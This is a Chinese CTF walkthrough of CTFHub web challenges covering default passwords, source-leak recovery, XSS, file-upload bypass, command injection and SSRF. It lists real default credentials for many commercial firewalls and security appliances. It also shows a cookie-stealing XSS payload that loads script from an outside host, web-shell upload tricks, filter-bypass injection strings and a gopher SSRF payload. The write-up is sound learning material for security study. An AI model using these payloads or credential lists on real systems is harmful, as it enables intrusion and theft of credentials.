CTFHub-wp

做做笔记

WEB

1.密码口令

1)弱口令

一般思维,

用户名:admin,root

密码:password,admin123,123456

可以用top100字典(可以网上找一下)跑一下,但有的可能需要枚举法

比如admin888或者admin255这样的类似的,就需要在后面用枚举法找出,字典并没包含这种类似情况

2)默认口令

就是系统默认的口令,在渗透测试过程中,最常见的情况就是遇到弱口令得到入口从而攻陷整个系统,由于很多系统管理员缺少安全意识,口令往往是系统默认设置的口令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
常见网络安全设备弱口令(默认口令)
设备 默认账号 默认密码
深信服产品 sangfor sangfor sangfor@2018 sangfor@2019
深信服科技 AD dlanrecover
深信服负载均衡 AD 3.6 admin admin
深信服WAC ( WNS V2.6) admin admin
深信服VPN Admin Admin
深信服ipsec-VPN (SSL 5.5) Admin Admin
深信服AC6.0 admin admin
SANGFOR防火墙 admin sangfor
深信服AF(NGAF V2.2) admin sangfor
深信服NGAF下一代应用防火墙(NGAF V4.3) admin admin
深信服AD3.9 admin admin
深信服上网行为管理设备数据中心 Admin 密码为空
SANGFOR_AD_v5.1 admin admin
网御漏洞扫描系统 leadsec leadsec
天阗入侵检测与管理系统 V7.0 Admin venus70
Audit venus70
adm venus70
天阗入侵检测与管理系统 V6.0 Admin venus60
Audit venus60
adm venus60
网御WAF集中控制中心(V3.0R5.0) admin leadsec.waf
audit leadsec.waf
adm leadsec.waf
联想网御 administrator administrator
网御事件服务器 admin admin123
联想网御防火墙PowerV administrator administrator
联想网御入侵检测系统 lenovo default
网络卫士入侵检测系统 admin talent
网御入侵检测系统V3.2.72.0 adm leadsec32
admin leadsec32
联想网御入侵检测系统IDS root 111111
admin admin123
科来网络回溯分析系统 csadmin colasoft
中控考勤机web3.0 administrator 123456
H3C iMC admin admin
H3C SecPath系列 admin admin
H3C S5120-SI test 123
H3C智能管理中心 admin admin
H3C ER3100 admin adminer3100
H3C ER3200 admin adminer3200
H3C ER3260 admin adminer3260
H3C admin adminer
admin admin
admin h3capadmin
h3c h3c
360天擎 admin admin
网神防火墙 firewall firewall
天融信防火墙NGFW4000 superman talent
黑盾防火墙 admin admin
rule abc123
audit abc123
华为防火墙 telnetuser telnetpwd
ftpuser ftppwd
方正防火墙 admin admin
飞塔防火墙 admin 密码为空
Juniper_SSG__5防火墙 netscreen netscreen
中新金盾硬件防火墙 admin 123
kill防火墙(冠群金辰) admin sys123
天清汉马USG防火墙 admin venus.fw
Audit venus.audit
useradmin venus.user
阿姆瑞特防火墙 admin manager
山石网科 hillstone hillstone
绿盟安全审计系统 weboper weboper
webaudit webaudit
conadmin conadmin
admin admin
shell shell
绿盟产品 nsfocus123
TopAudit日志审计系统 superman talent
LogBase日志管理综合审计系统 admin safetybase
网神SecFox运维安全管理与审计系统 admin !1fw@2soc#3vpn
天融信数据库审计系统 superman telent
Hillstone安全审计平台 hillstone hillstone
网康日志中心 ns25000 ns25000
网络安全审计系统(中科新业) admin 123456
天玥网络安全审计系统 Admin cyberaudit
明御WEB应用防火墙 admin admin
admin adminadmin
明御攻防实验室平台 root 123456
明御安全网关 admin adminadmin
明御运维审计与册风险控制系统 admin 1q2w3e
system 1q2w3e4r
auditor 1q2w3e
operator 1q2w3e4r
明御网站卫士 sysmanager sysmanager888
亿邮邮件网关 eyouuser eyou_admin
eyougw admin@(eyou)
admin +-ccccc
admin cyouadmin
Websense邮件安全网关 administrator admin
梭子鱼邮件存储网关 admin admin

2.信息泄露-备份文件下载

image-20220919213733369

2.1 信息泄露-robots.txt

1
访问url/robots.txt

查看爬虫协议

2.2 信息泄露-bak文件

1
访问url/文件名.后缀名.bak

下载bak(备份文件)

2.3 信息泄露-vim缓存

原理

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

index.php 为例:
第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn
作用

可用来恢复意外退出的文件

如何利用

SWP文件为隐藏文件,操作时需要在文件名前加.

针对SWP备份文件,我们可以使用vim -r filename命令来恢复文件
(vim使用的缓存存储为一种固定格式的二进制文件。而我们一般编辑的时明问可见字符,在vim的缓存中这些可见字符会原样保留,所以显示是一种乱码)
根据提示按回车进行恢复

2.4 信息泄露-.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

1
访问url/.DS_Store

下载DS_Store文件

3.信息泄露-Git泄露-log

第一次使用githack,记录一下

注意githack需要python2.7版本

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。

工作原理

1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
2、去.git/objects/ 文件夹下下载对应的文件
3、zlib解压文件,按原始的目录结构写入源代码

优点

速度快,默认20个工作线程
尽量还原所有的源代码,缺失的文件不影响脚本工作
脚本不需要执行额外的git命令,all you need is python
脚本无需浏览目录

用法示例

注意这里在url后面需要加上.git,用dirsearch可以扫出来(python3)

1
GitHack.py http://www.openssl.org/.git/

然后在目录dist就会生成对应目录

打开目录,输入cmd,执行git loggit log 可以查看commit history,也就是命令执行的历史,可以看看之前执行过哪些命令,方便后面查询命令执行的具体内容】

image-20220728230330073

然后复制add flag这个命令的代码,如上图75272ca078b7eedcf329a2b08f6e4faae0a36a99

然后用git diff

git diff比较两个版本的差异,

这里后面只有一个命令就是比较本地工作区和缓存区的信息区别

如果后面有两个命令,就是比较这两个命令的差别

image-20220728231134513

这里比较,就得到了flag

4.信息泄露-Git泄露-Stash

git stash 的作用

git stash用于想要保存当前的修改,但是想回到之前最后一次提交的干净的工作仓库时进行的操作.git stash将本地的修改保存起来,并且将当前代码切换到HEAD提交上.

通过git stash存储的修改列表,可以通过git stash list查看.git stash show用于校验,git stash apply用于重新存储.直接执行git stash等同于git stash save.

最新的存储保存在refs/stash中老的存储可以通过相关的参数获得,例如stash@{0}获取最新的存储,stash@{1}获取次新.stash@{2.hour.ago}获取两小时之前的.存储可以直接通过索引的位置来获得stash@{n}.

操作同2.log

可以先用dirsearch扫一下, 发现refs/stash文件,

然后用GitHack扫描

在生成文件夹里有stash文件

1
`D:\GitHack-master\dist\challenge-8d48663e236c2ebc.sandbox.ctfhub.com_10800\.git\refs`

image-20220729115457869

打开看到

image-20220729115528299

在生成的文件夹下用

1
git diff d8c1978b1e71300574e1bb5335a01124b3a55569

得到flag

【也可以使用 git bash,直接在生成的文件夹下

执行git stash list

1
查看stash了哪些存储

然后执行git stash pop

恢复之前缓存的工作目录,将缓存堆栈中的对应stash删除,
并将对应修改应用到当前的工作目录下,默认为第一个stash,即stash@{0},

如果要应用并删除其他stash,命令:git stash pop stash@{$num} ,
比如应用并删除第二个:git stash pop stash@{1})

然后会在该目录下生成一个新的txt文件,打开或用cat命令,得到flag

5.信息泄露-SVN泄露

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

这道题需要运用dvcs-ripper工具进行处理

可以先用dirsearch扫出.svn目录,说明有SVN泄露

githack类似,

1
./rip-svn.pl -v -u url/.svn

然后在dvcs-ripper目录里,进入.svn目录

image-20220729175208298

然后进入pristine目录,进去发现两个目录,挨个打开

image-20220729175252045

image-20220729175429878

发现一个目录下是网站页面源码,另一个就是flag

得到flag

6.信息泄露-HG泄露

1
`当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。`

可以先用dirsearch扫出.hg目录,说明有HG泄露

这个和SVN一样,只不过要改成.hg

1
./rip-hg.pl -v -u url/.hg

image-20220730164340016

发现两个文件,猜测为HG泄露文件

image-20220730164428184

发现flag文本文件

image-20220730164949862

url+flag_973127138.txt

得到flag

7.xss-xss反射型

发现它有两个输入框

image-20220731104635854

第一个输入测试语句,成功弹窗

第二个是发送url,盲猜是发到后台

看了一些wp,发现需要使用xss测试平台http://xsscom.com//index.php

先创建项目

image-20220731113619175

设置配置

image-20220731113753893

然后点击查看代码

image-20220731113810045

在最下面看到

image-20220731113837566

把代码

1
</textarea>'"><script src=http://xsscom.com//9VJcMV></script>

输入到第一个框中

再把提交后的url复制,然后到第二框中发送

image-20220731114028909

然后返回xss测试平台上查看

image-20220731114142138

cookie处出现flag

8.文件上传-文件头检查

文件头是直接位于文件中的一段数据,是文件的一部分

这里过滤文件头,而且限制图片类型文件,所以可以试试上传一个没有任何问题的图片【注意图片不能太大,不然会最后用蚁剑连接会爆错,我上传1mb大小图片就报错,最后上传400字节图片才成功】

image-20220731164210465

上传图片后,在后面加上一句话木马,并修改文件名

1
2
3
4
5
【也可以用cmd 合成图片马,也是有图片文件头】

copy 图片名.png(.jpg)/b + 木马文件名.php(.asp/.aspx)/a 生成图片名.png(.jpg)】

【已试可行】

image-20220731164732820

然后正常用蚁剑连接

image-20220731164330254

得到flag

9.文件上传-00截断

0x00截断原理:[php<5.3.29]

1
2
3
4
5
6
7
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。这个可以用在对文件类型名的绕过上。

但要注意是文件的16进制内容里的00,而不是文件名中的00 !!!就是说系统是按16进制读取文件(或者说二进制),

遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断。

%00是被服务器解码为0x00发挥了截断作用。

举个例子,url中输入的是upload/post.php%00.png,看样子是图片文件,那么后台读取到是upload/post.php,就实现了绕后目的。

我们开始先上传一个文件试试,限制jpg,png,gif后缀

上传成功后,没有显示上传路径,只是url变化

http://challenge-6cc6a23c8f284d6b.sandbox.ctfhub.com:10800/?road=/var/www/html

猜想多半重新临时文件名,不固定,导致显示不了路径

这里就需要00截断,要把文件上传的路径,找到,好用蚁剑连接

先要清楚%00截断点在哪里,我们先F12看

看网站源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<title>CTFHub 文件上传 - 00截断</title>
</head>

<body>
<h1>CTFHub 文件上传 - 00截断</h1>
<form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
-->
</body>

</html>

发现里面有一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
-->

move_uploaded_file($_FILES['file']['tmp_name'],$des)这个函数就是把上传文件放到$des的路径上并且改了文件名

所以我们不能让后面的rand()date()运行,所以对于变量road【也就是开始讲到的】,就需要在它后面加上一个%00截断后面的语句

也就是下面这个请求头后面

image-20220731233456720

图片正常上传就可以,这就是把图片内容上传到1.php文件中,这样虽然我们上传的是一个图片,但实际上,我们上传了一个名为1.php的一句话木马

【名字不重要,虽然图片和php文件名一样,这里1.php是随便取得,主要蚁剑连接的就是它】

用蚁剑连接url/upload/1.php

得到flag

10.文件上传-双写后缀

进行了一次过滤php后缀名,双写php为pphphp,这样当过滤了__的php,剩下的仍然是php,正常用蚁剑连接

image-20220731165549883

image-20220731165841829

得到flag

11.RCE-命令注入-综合训练

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

这道题

看到|,;,&都被过滤了

那么可以用%0a也是换行符代替

空格,/,cat,flag,ctfhub(这些好像不大用的上,没关系)

$IFS代替空格cat可以用more代替,%09代替TAB键,用来补全flag

?ip=120.0.0.1%0als

image-20220801215911504

然后

?ip=120.0.0.1%0acd$IFS%09*_is_here%0als

image-20220801215930160

后面就简单了

?ip=120.0.0.1%0acd$IFS%09*_is_here%0amore$IFS%09*24135173615424.php

右键查看源码

得到flag

12.SSRF-内网访问

image-20220802103546644

image-20220802103603770

所以构造payload

http://challenge-c0c40a8ea91b3909.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

得到flag

13.SSRF-伪协议读取文件

伪协议

事实上是其支持的协议与封装协议。而其支持的部分协议有:

    file:// — 访问本地文件系统

    http:// — 访问 HTTP(s) 网址

    ftp:// — 访问 FTP(s) URLs

    php:// — 访问各个输入/输出流(I/O streams)

根据提示,flag在Web目录下,Web目录一般是在/var/www/html/

http://challenge-5c45d983b45e22b7.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

得到flag

14.SSRF-端口扫描

端口扫描,那就利用爆破,从8000到9000扫一遍,看看flag在哪个端口下

http://challenge-30d6aa92f511ee1f.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000

image-20220802105640721

看到长度不同,打开查看响应数据包

得到flag

15.SSRF-POST请求

hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

开始是一个空白页面

网站为

1
http://challenge-177dcd6de76352cb.sandbox.ctfhub.com:10800/?url=_

我们在其后面加上127.0.0.1/flag.php看看能不能直接访问该文件

1
http://challenge-177dcd6de76352cb.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

image-20220925221703912

发现出现了一个输入框

F12查看源码:

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=11e053e2b7900523ac51fc7606b964e2-->
</form>

发现了一个key的参数

1
2
key=11e053e2b7900523ac51fc7606b964e2
//key是不定的哈,不要全copy

我们把key值输入框中试试

image-20220925222739689

看来只能从本地127.0.0.1访问

利用file://伪协议从本地方式访问文件看看index.php文件

1
http://challenge-177dcd6de76352cb.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php

右键查看,

得到index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

以相同方式看看flag.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

根据flag.php最后的提示,

尝试 Gopher 协议向服务器发送 POST

1
2
3
Gopher协议的格式:

gopher://IP:port/_TCP/IP数据流

先构造 Gopher协议所需的 POST请求:

1
2
3
4
5
6
7
8
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=11e053e2b7900523ac51fc7606b964e2

//Content-Length 这个要和底下POST参数[包括key=,4个]长度一致

但是这里需要对其进行两次url编码

根据hint,请求有curl功能

在向服务器发送请求时,首先浏览器会进行一次 URL解码,

其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码

因此需要两次url编码

1
2
3
4
5
`注`:
在第一次编码后的数据中,将`%0A`全部替换为`%0D%0A`。

因为 Gopher协议包含的请求数据包中,可能包含有`=`、`&`等特殊字符,
避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把`%`后的字节当做普通字节。

image-20220925231951671

然后第二次编码

image-20220925232013164

得到

1
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D11e053e2b7900523ac51fc7606b964e2

然后又因为flag.php里有$_SERVER["REMOTE_ADDR"]

1
2
3
4
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

如果直接在输入框,上传POST请求又会显示

image-20220925222739689

这个想绕过,就只有通过index.phpcurl功能,利用Gopher协议从127.0.0.1向目标发送POST请求

1
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D11e053e2b7900523ac51fc7606b964e2

image-20220925232055769

得到flag